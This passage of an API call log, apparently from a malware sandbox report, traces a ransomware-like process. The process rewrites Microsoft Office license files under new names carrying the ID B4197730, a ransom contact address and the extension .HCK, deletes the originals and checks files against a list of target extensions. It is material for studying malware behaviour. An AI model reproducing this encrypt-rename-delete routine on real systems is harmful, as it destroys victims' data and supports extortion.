Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0236.640] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.640] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0236.641] GetLastError () returned 0x0 [0236.641] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x516e, lpOverlapped=0x0) returned 1 [0236.643] WriteFile (in: hFile=0x544, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x5170, lpOverlapped=0x0) returned 1 [0236.644] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.644] WriteFile (in: hFile=0x544, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x108, lpOverlapped=0x0) returned 1 [0236.644] SetEndOfFile (hFile=0x544) returned 1 [0236.644] CloseHandle (hObject=0x544) returned 1 [0236.644] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.644] SetEndOfFile (hFile=0x554) returned 1 [0236.647] CloseHandle (hObject=0x554) returned 1 [0236.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 1 [0236.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0236.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0236.648] lstrlenW (lpString=".doc") returned 4 [0236.648] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.648] lstrlenW (lpString=".docx") returned 5 [0236.648] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.648] lstrlenW (lpString=".pdf") returned 4 [0236.648] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.648] lstrlenW (lpString=".xls") returned 4 [0236.648] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.648] lstrlenW (lpString=".xlsx") returned 5 [0236.648] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.648] lstrlenW (lpString=".ppt") returned 4 [0236.648] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0236.648] lstrlenW (lpString=".zip") returned 4 [0236.648] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.648] lstrlenW (lpString=".rar") returned 4 [0236.649] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString=".bz2") returned 4 [0236.649] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString=".7z") returned 3 [0236.649] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0236.649] lstrlenW (lpString=".dbf") returned 4 [0236.649] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0236.649] lstrlenW (lpString=".1cd") returned 4 [0236.649] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0236.649] lstrlenW (lpString=".jpg") returned 4 [0236.649] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0236.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0236.649] lstrlenW (lpString=".doc") returned 4 [0236.649] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString=".docx") returned 5 [0236.649] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.649] lstrlenW (lpString=".pdf") returned 4 [0236.649] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString=".xls") returned 4 [0236.649] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString=".xlsx") returned 5 [0236.649] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.649] lstrlenW (lpString=".ppt") returned 4 [0236.649] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0236.649] lstrlenW (lpString=".zip") returned 4 [0236.649] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString=".rar") returned 4 [0236.649] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString=".bz2") returned 4 [0236.649] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString=".7z") returned 3 [0236.649] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0236.649] lstrlenW (lpString=".dbf") returned 4 [0236.649] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0236.649] lstrlenW (lpString=".1cd") returned 4 [0236.649] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0236.649] lstrlenW (lpString=".jpg") returned 4 [0236.649] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.650] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.650] lstrlenW (lpString="ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 29 [0236.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0236.650] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11582) returned 1 [0236.650] CloseHandle (hObject=0x554) returned 1 [0236.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0236.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0236.655] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.655] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0236.656] GetLastError () returned 0x0 [0236.656] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d3e, lpOverlapped=0x0) returned 1 [0236.983] WriteFile (in: hFile=0x544, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0236.984] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.984] WriteFile (in: hFile=0x544, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10e, lpOverlapped=0x0) returned 1 [0236.984] SetEndOfFile (hFile=0x544) returned 1 [0236.984] CloseHandle (hObject=0x544) returned 1 [0236.984] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.984] SetEndOfFile (hFile=0x554) returned 1 [0236.987] CloseHandle (hObject=0x554) returned 1 [0236.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 1 [0236.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0236.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0236.988] lstrlenW (lpString=".doc") returned 4 [0236.988] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.988] lstrlenW (lpString=".docx") returned 5 [0236.988] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.988] lstrlenW (lpString=".pdf") returned 4 [0236.988] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.988] lstrlenW (lpString=".xls") returned 4 [0236.988] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.988] lstrlenW (lpString=".xlsx") returned 5 [0236.988] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.988] lstrlenW (lpString=".ppt") returned 4 [0236.988] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0236.988] lstrlenW (lpString=".zip") returned 4 [0236.988] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.988] lstrlenW (lpString=".rar") returned 4 [0236.988] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.988] lstrlenW (lpString=".bz2") returned 4 [0236.988] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.988] lstrlenW (lpString=".7z") returned 3 [0236.989] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0236.989] lstrlenW (lpString=".dbf") returned 4 [0236.989] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0236.989] lstrlenW (lpString=".1cd") returned 4 [0236.989] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0236.989] lstrlenW (lpString=".jpg") returned 4 [0236.989] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0236.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0236.989] lstrlenW (lpString=".doc") returned 4 [0236.989] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.989] lstrlenW (lpString=".docx") returned 5 [0236.989] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.989] lstrlenW (lpString=".pdf") returned 4 [0236.989] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.989] lstrlenW (lpString=".xls") returned 4 [0236.989] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.989] lstrlenW (lpString=".xlsx") returned 5 [0236.989] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.989] lstrlenW (lpString=".ppt") returned 4 [0236.989] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0236.989] lstrlenW (lpString=".zip") returned 4 [0236.989] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.989] lstrlenW (lpString=".rar") returned 4 [0236.989] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.989] lstrlenW (lpString=".bz2") returned 4 [0236.989] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.989] lstrlenW (lpString=".7z") returned 3 [0236.989] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0236.989] lstrlenW (lpString=".dbf") returned 4 [0236.989] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0236.989] lstrlenW (lpString=".1cd") returned 4 [0236.989] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0236.990] lstrlenW (lpString=".jpg") returned 4 [0236.990] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.990] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.990] lstrlenW (lpString="ExcelVL_KMS_Client-ppd.xrm-ms") returned 29 [0236.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0236.991] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=6860) returned 1 [0236.991] CloseHandle (hObject=0x554) returned 1 [0236.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220 [0236.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0236.991] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.991] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0236.992] GetLastError () returned 0x0 [0236.992] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x1acc, lpOverlapped=0x0) returned 1 [0236.994] WriteFile (in: hFile=0x544, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0236.994] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.994] WriteFile (in: hFile=0x544, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10e, lpOverlapped=0x0) returned 1 [0236.995] SetEndOfFile (hFile=0x544) returned 1 [0236.995] CloseHandle (hObject=0x544) returned 1 [0236.995] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.995] SetEndOfFile (hFile=0x554) returned 1 [0236.997] CloseHandle (hObject=0x554) returned 1 [0236.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 1 [0236.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0236.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0236.998] lstrlenW (lpString=".doc") returned 4 [0236.998] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.998] lstrlenW (lpString=".docx") returned 5 [0236.998] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.998] lstrlenW (lpString=".pdf") returned 4 [0236.998] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.998] lstrlenW (lpString=".xls") returned 4 [0236.998] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.998] lstrlenW (lpString=".xlsx") returned 5 [0236.998] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.998] lstrlenW (lpString=".ppt") returned 4 [0236.998] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0236.998] lstrlenW (lpString=".zip") returned 4 [0236.999] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.999] lstrlenW (lpString=".rar") returned 4 [0236.999] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.999] lstrlenW (lpString=".bz2") returned 4 [0236.999] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.999] lstrlenW (lpString=".7z") returned 3 [0236.999] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0236.999] lstrlenW (lpString=".dbf") returned 4 [0236.999] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0236.999] lstrlenW (lpString=".1cd") returned 4 [0236.999] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0236.999] lstrlenW (lpString=".jpg") returned 4 [0236.999] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0236.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0236.999] lstrlenW (lpString=".doc") returned 4 [0236.999] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.999] lstrlenW (lpString=".docx") returned 5 [0236.999] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.999] lstrlenW (lpString=".pdf") returned 4 [0236.999] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.999] lstrlenW (lpString=".xls") returned 4 [0236.999] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.999] lstrlenW (lpString=".xlsx") returned 5 [0236.999] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.999] lstrlenW (lpString=".ppt") returned 4 [0236.999] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0236.999] lstrlenW (lpString=".zip") returned 4 [0236.999] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.999] lstrlenW (lpString=".rar") returned 4 [0236.999] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.999] lstrlenW (lpString=".bz2") returned 4 [0236.999] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.000] lstrlenW (lpString=".7z") returned 3 [0237.000] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0237.000] lstrlenW (lpString=".dbf") returned 4 [0237.000] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0237.000] lstrlenW (lpString=".1cd") returned 4 [0237.000] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0237.000] lstrlenW (lpString=".jpg") returned 4 [0237.000] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.000] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.000] lstrlenW (lpString="ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 32 [0237.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: 